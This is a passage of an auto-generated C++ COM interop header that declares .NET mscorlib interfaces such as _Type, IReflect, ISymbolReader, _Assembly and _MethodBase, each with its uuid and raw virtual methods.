VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPublic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNestedPublic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNestedPrivate ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNestedFamily ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNestedAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNestedFamANDAssem ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNestedFamORAssem ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAutoLayout ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsLayoutSequential ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsExplicitLayout ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsClass ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsInterface ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsValueType ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAbstract ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSealed ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsEnum ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsImport ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSerializable ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAnsiClass ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsUnicodeClass ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAutoClass ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsArray ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsByRef ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPointer ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPrimitive ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsCOMObject ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_HasElementType ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsContextful ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsMarshalByRef ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Equals_2 ( /*[in]*/ struct _Type * o, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; #pragma pack(push, 8) struct __declspec(uuid("9dc6ac40-edfa-3e34-9ad1-b7a0a9e3a40a")) CustomAttributeTypedArgument { IUnknown * m_value; struct _Type * m_argumentType; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("7fc47a26-aa2e-32ea-bde4-01a490842d87")) CustomAttributeNamedArgument { struct _MemberInfo * m_memberInfo; struct CustomAttributeTypedArgument m_value; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("5f7a2664-4778-3d72-a78f-d38b6b00180d")) InterfaceMapping { struct _Type * TargetType; struct _Type * interfaceType; SAFEARRAY * TargetMethods; SAFEARRAY * InterfaceMethods; }; #pragma pack(pop) struct __declspec(uuid("f4f5c303-fad3-3d0c-a4df-bb82b5ee308f")) IFormatterConverter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Convert ( /*[in]*/ VARIANT value, /*[in]*/ struct _Type * Type, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Convert_2 ( /*[in]*/ VARIANT value, /*[in]*/ enum TypeCode TypeCode, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall ToBoolean ( /*[in]*/ VARIANT value, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall ToChar ( /*[in]*/ VARIANT value, /*[out,retval]*/ unsigned short * pRetVal ) = 0; virtual HRESULT __stdcall ToSByte ( /*[in]*/ VARIANT value, /*[out,retval]*/ char * pRetVal ) = 0; virtual HRESULT __stdcall ToByte ( /*[in]*/ VARIANT value, /*[out,retval]*/ unsigned char * pRetVal ) = 0; virtual HRESULT __stdcall ToInt16 ( /*[in]*/ VARIANT value, /*[out,retval]*/ short * pRetVal ) = 0; virtual HRESULT __stdcall ToUInt16 ( /*[in]*/ VARIANT value, /*[out,retval]*/ unsigned short * pRetVal ) = 0; virtual HRESULT __stdcall ToInt32 ( /*[in]*/ VARIANT value, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall ToUInt32 ( /*[in]*/ VARIANT value, /*[out,retval]*/ unsigned long * pRetVal ) = 0; virtual HRESULT __stdcall ToInt64 ( /*[in]*/ VARIANT value, /*[out,retval]*/ __int64 * pRetVal ) = 0; virtual HRESULT __stdcall ToUInt64 ( /*[in]*/ VARIANT value, /*[out,retval]*/ unsigned __int64 * pRetVal ) = 0; virtual HRESULT __stdcall ToSingle ( /*[in]*/ VARIANT value, /*[out,retval]*/ float * pRetVal ) = 0; virtual HRESULT __stdcall ToDouble ( /*[in]*/ VARIANT value, /*[out,retval]*/ double * pRetVal ) = 0; virtual HRESULT __stdcall ToDecimal ( /*[in]*/ VARIANT value, /*[out,retval]*/ DECIMAL * pRetVal ) = 0; virtual HRESULT __stdcall ToDateTime ( /*[in]*/ VARIANT value, /*[out,retval]*/ DATE * pRetVal ) = 0; virtual HRESULT __stdcall get_ToString ( /*[in]*/ VARIANT value, /*[out,retval]*/ BSTR * pRetVal ) = 0; }; #pragma pack(push, 8) struct __declspec(uuid("3642e7ed-5a69-3a94-98d3-a08877a0d046")) SerializationEntry { struct _Type * m_type; IUnknown * m_value; LPSTR m_name; }; #pragma pack(pop) struct __declspec(uuid("0ca9008e-ee90-356e-9f6d-b59e6006b9a4")) ICustomFactory : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall CreateInstance ( /*[in]*/ struct _Type * serverType, /*[out,retval]*/ struct _MarshalByRefObject * * pRetVal ) = 0; }; struct __declspec(uuid("c09effa9-1ffe-3a52-a733-6236cbc45e7b")) IRemotingTypeInfo : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_typeName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_typeName ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall CanCastTo ( /*[in]*/ struct _Type * fromType, /*[in]*/ VARIANT o, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("65074f7f-63c0-304e-af0a-d51741cb4a8d")) _Object : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; }; struct __declspec(uuid("ea675b47-64e0-3b5f-9be7-f7dc2990730d")) _ObjectHandle : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetLifetimeService ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall InitializeLifetimeService ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall CreateObjRef ( /*[in]*/ struct _Type * requestedType, /*[out,retval]*/ struct _ObjRef * * pRetVal ) = 0; virtual HRESULT __stdcall Unwrap ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("afbf15e5-c37c-11d2-b88e-00a0c9b471b8")) IReflect : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetMethod ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_2 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethods ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetField ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _FieldInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetFields ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_2 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ struct _Type * returnType, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperties ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMember ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMembers ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall InvokeMember ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ VARIANT Target, /*[in]*/ SAFEARRAY * args, /*[in]*/ SAFEARRAY * modifiers, /*[in]*/ struct _CultureInfo * culture, /*[in]*/ SAFEARRAY * namedParameters, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_UnderlyingSystemType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; }; struct __declspec(uuid("20808adc-cc01-3f3a-8f09-ed12940fc212")) ISymbolBinder : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetReader ( /*[in]*/ long importer, /*[in]*/ BSTR filename, /*[in]*/ BSTR searchPath, /*[out,retval]*/ struct ISymbolReader * * pRetVal ) = 0; }; struct __declspec(uuid("027c036a-4052-3821-85de-b53319df1211")) ISymbolBinder1 : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetReader ( /*[in]*/ long importer, /*[in]*/ BSTR filename, /*[in]*/ BSTR searchPath, /*[out,retval]*/ struct ISymbolReader * * pRetVal ) = 0; }; struct __declspec(uuid("25c72eb0-e437-3f17-946d-3b72a3acff37")) ISymbolMethod : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Token ( /*[out,retval]*/ struct SymbolToken * pRetVal ) = 0; virtual HRESULT __stdcall get_SequencePointCount ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetSequencePoints ( /*[in]*/ SAFEARRAY * offsets, /*[in]*/ SAFEARRAY * documents, /*[in]*/ SAFEARRAY * lines, /*[in]*/ SAFEARRAY * columns, /*[in]*/ SAFEARRAY * endLines, /*[in]*/ SAFEARRAY * endColumns ) = 0; virtual HRESULT __stdcall get_RootScope ( /*[out,retval]*/ struct ISymbolScope * * pRetVal ) = 0; virtual HRESULT __stdcall GetScope ( /*[in]*/ long offset, /*[out,retval]*/ struct ISymbolScope * * pRetVal ) = 0; virtual HRESULT __stdcall GetOffset ( /*[in]*/ struct ISymbolDocument * document, /*[in]*/ long line, /*[in]*/ long column, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetRanges ( /*[in]*/ struct ISymbolDocument * document, /*[in]*/ long line, /*[in]*/ long column, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetParameters ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNamespace ( /*[out,retval]*/ struct ISymbolNamespace * * pRetVal ) = 0; virtual HRESULT __stdcall GetSourceStartEnd ( /*[in]*/ SAFEARRAY * docs, /*[in]*/ SAFEARRAY * lines, /*[in]*/ SAFEARRAY * columns, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("e809a5f1-d3d7-3144-9bef-fe8ac0364699")) ISymbolReader : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetDocument ( /*[in]*/ BSTR Url, /*[in]*/ GUID Language, /*[in]*/ GUID LanguageVendor, /*[in]*/ GUID DocumentType, /*[out,retval]*/ struct ISymbolDocument * * pRetVal ) = 0; virtual HRESULT __stdcall GetDocuments ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_UserEntryPoint ( /*[out,retval]*/ struct SymbolToken * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod ( /*[in]*/ struct SymbolToken Method, /*[out,retval]*/ struct ISymbolMethod * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_2 ( /*[in]*/ struct SymbolToken Method, /*[in]*/ long Version, /*[out,retval]*/ struct ISymbolMethod * * pRetVal ) = 0; virtual HRESULT __stdcall GetVariables ( /*[in]*/ struct SymbolToken parent, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetGlobalVariables ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethodFromDocumentPosition ( /*[in]*/ struct ISymbolDocument * document, /*[in]*/ long line, /*[in]*/ long column, /*[out,retval]*/ struct ISymbolMethod * * pRetVal ) = 0; virtual HRESULT __stdcall GetSymAttribute ( /*[in]*/ struct SymbolToken parent, /*[in]*/ BSTR name, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNamespaces ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; struct __declspec(uuid("1cee3a11-01ae-3244-a939-4972fc9703ef")) ISymbolScope : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Method ( /*[out,retval]*/ struct ISymbolMethod * * pRetVal ) = 0; virtual HRESULT __stdcall get_parent ( /*[out,retval]*/ struct ISymbolScope * * pRetVal ) = 0; virtual HRESULT __stdcall GetChildren ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_StartOffset ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_EndOffset ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetLocals ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNamespaces ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; struct __declspec(uuid("17156360-2f1a-384a-bc52-fde93c215c5b")) _Assembly : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_CodeBase ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_EscapedCodeBase ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetName ( /*[out,retval]*/ struct _AssemblyName * * pRetVal ) = 0; virtual HRESULT __stdcall GetName_2 ( /*[in]*/ VARIANT_BOOL copiedName, /*[out,retval]*/ struct _AssemblyName * * pRetVal ) = 0; virtual HRESULT __stdcall get_FullName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_EntryPoint ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetType_2 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetType_3 ( /*[in]*/ BSTR name, /*[in]*/ VARIANT_BOOL throwOnError, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetExportedTypes ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetTypes ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetManifestResourceStream ( /*[in]*/ struct _Type * Type, /*[in]*/ BSTR name, /*[out,retval]*/ struct _Stream * * pRetVal ) = 0; virtual HRESULT __stdcall GetManifestResourceStream_2 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _Stream * * pRetVal ) = 0; virtual HRESULT __stdcall GetFile ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _FileStream * * pRetVal ) = 0; virtual HRESULT __stdcall GetFiles ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetFiles_2 ( /*[in]*/ VARIANT_BOOL getResourceModules, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetManifestResourceNames ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetManifestResourceInfo ( /*[in]*/ BSTR resourceName, /*[out,retval]*/ struct _ManifestResourceInfo * * pRetVal ) = 0; virtual HRESULT __stdcall get_Location ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_Evidence ( /*[out,retval]*/ struct _Evidence * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetObjectData ( /*[in]*/ struct _SerializationInfo * info, /*[in]*/ struct StreamingContext Context ) = 0; virtual HRESULT __stdcall add_ModuleResolve ( /*[in]*/ struct _ModuleResolveEventHandler * value ) = 0; virtual HRESULT __stdcall remove_ModuleResolve ( /*[in]*/ struct _ModuleResolveEventHandler * value ) = 0; virtual HRESULT __stdcall GetType_4 ( /*[in]*/ BSTR name, /*[in]*/ VARIANT_BOOL throwOnError, /*[in]*/ VARIANT_BOOL ignoreCase, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetSatelliteAssembly ( /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall GetSatelliteAssembly_2 ( /*[in]*/ struct _CultureInfo * culture, /*[in]*/ struct _Version * Version, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall LoadModule ( /*[in]*/ BSTR moduleName, /*[in]*/ SAFEARRAY * rawModule, /*[out,retval]*/ struct _Module * * pRetVal ) = 0; virtual HRESULT __stdcall LoadModule_2 ( /*[in]*/ BSTR moduleName, /*[in]*/ SAFEARRAY * rawModule, /*[in]*/ SAFEARRAY * rawSymbolStore, /*[out,retval]*/ struct _Module * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstance ( /*[in]*/ BSTR typeName, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstance_2 ( /*[in]*/ BSTR typeName, /*[in]*/ VARIANT_BOOL ignoreCase, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstance_3 ( /*[in]*/ BSTR typeName, /*[in]*/ VARIANT_BOOL ignoreCase, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * args, /*[in]*/ struct _CultureInfo * culture, /*[in]*/ SAFEARRAY * activationAttributes, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetLoadedModules ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetLoadedModules_2 ( /*[in]*/ VARIANT_BOOL getResourceModules, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetModules ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetModules_2 ( /*[in]*/ VARIANT_BOOL getResourceModules, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetModule ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _Module * * pRetVal ) = 0; virtual HRESULT __stdcall GetReferencedAssemblies ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_GlobalAssemblyCache ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("f1c3bf76-c3e4-11d3-88e7-00902754c43a")) ITypeLibImporterNotifySink : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall InteropServices_ReportEvent ( /*[in]*/ enum ImporterEventKind eventKind, /*[in]*/ long eventCode, /*[in]*/ BSTR eventMsg ) = 0; virtual HRESULT __stdcall ResolveRef ( /*[in]*/ IUnknown * typeLib, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; }; struct __declspec(uuid("ccbd682c-73a5-4568-b8b0-c7007e11aba2")) IRegistrationServices : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall RegisterAssembly ( /*[in]*/ struct _Assembly * Assembly, /*[in]*/ enum AssemblyRegistrationFlags flags, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall UnregisterAssembly ( /*[in]*/ struct _Assembly * Assembly, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetRegistrableTypesInAssembly ( /*[in]*/ struct _Assembly * Assembly, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetProgIdForType ( /*[in]*/ struct _Type * Type, /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall RegisterTypeForComClients ( /*[in]*/ struct _Type * Type, /*[in,out]*/ GUID * G ) = 0; virtual HRESULT __stdcall GetManagedCategoryGuid ( /*[out,retval]*/ GUID * pRetVal ) = 0; virtual HRESULT __stdcall TypeRequiresRegistration ( /*[in]*/ struct _Type * Type, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall TypeRepresentsComType ( /*[in]*/ struct _Type * Type, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("f1c3bf77-c3e4-11d3-88e7-00902754c43a")) ITypeLibExporterNotifySink : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall InteropServices_ReportEvent ( /*[in]*/ enum ExporterEventKind eventKind, /*[in]*/ long eventCode, /*[in]*/ BSTR eventMsg ) = 0; virtual HRESULT __stdcall ResolveRef ( /*[in]*/ struct _Assembly * Assembly, /*[out,retval]*/ IUnknown * * pRetVal ) = 0; }; struct __declspec(uuid("f1c3bf78-c3e4-11d3-88e7-00902754c43a")) ITypeLibConverter : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall ConvertTypeLibToAssembly ( /*[in]*/ IUnknown * typeLib, /*[in]*/ BSTR asmFileName, /*[in]*/ enum TypeLibImporterFlags flags, /*[in]*/ struct ITypeLibImporterNotifySink * notifySink, /*[in]*/ SAFEARRAY * publicKey, /*[in]*/ struct _StrongNameKeyPair * keyPair, /*[in]*/ BSTR asmNamespace, /*[in]*/ struct _Version * asmVersion, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall ConvertAssemblyToTypeLib ( /*[in]*/ struct _Assembly * Assembly, /*[in]*/ BSTR typeLibName, /*[in]*/ enum TypeLibExporterFlags flags, /*[in]*/ struct ITypeLibExporterNotifySink * notifySink, /*[out,retval]*/ IUnknown * * pRetVal ) = 0; virtual HRESULT __stdcall GetPrimaryInteropAssembly ( /*[in]*/ GUID G, /*[in]*/ long major, /*[in]*/ long minor, /*[in]*/ long lcid, /*[out]*/ BSTR * asmName, /*[out]*/ BSTR * asmCodeBase, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall ConvertTypeLibToAssembly_2 ( /*[in]*/ IUnknown * typeLib, /*[in]*/ BSTR asmFileName, /*[in]*/ long flags, /*[in]*/ struct ITypeLibImporterNotifySink * notifySink, /*[in]*/ SAFEARRAY * publicKey, /*[in]*/ struct _StrongNameKeyPair * keyPair, /*[in]*/ VARIANT_BOOL unsafeInterfaces, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; }; struct __declspec(uuid("6240837a-707f-3181-8e98-a36ae086766b")) _MethodBase : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetParameters ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethodImplementationFlags ( /*[out,retval]*/ enum MethodImplAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodHandle ( /*[out,retval]*/ struct RuntimeMethodHandle * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum MethodAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_CallingConvention ( /*[out,retval]*/ enum CallingConventions * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_2 ( /*[in]*/ VARIANT obj, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ 